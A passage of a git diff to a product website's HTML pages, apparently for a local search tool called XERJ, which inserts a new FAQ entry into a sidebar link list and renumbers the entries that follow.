href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-html-export.html b/landing/answers/search-html-export.htmlindex 8b473f75e..dd2a1f9a1 100644--- a/landing/answers/search-html-export.html+++ b/landing/answers/search-html-export.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class="active"><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class="active"><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-json-and-jsonl-logs.html b/landing/answers/search-json-and-jsonl-logs.htmlindex 7b4e0e19c..88f525680 100644--- a/landing/answers/search-json-and-jsonl-logs.html+++ b/landing/answers/search-json-and-jsonl-logs.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class="active"><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class="active"><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span 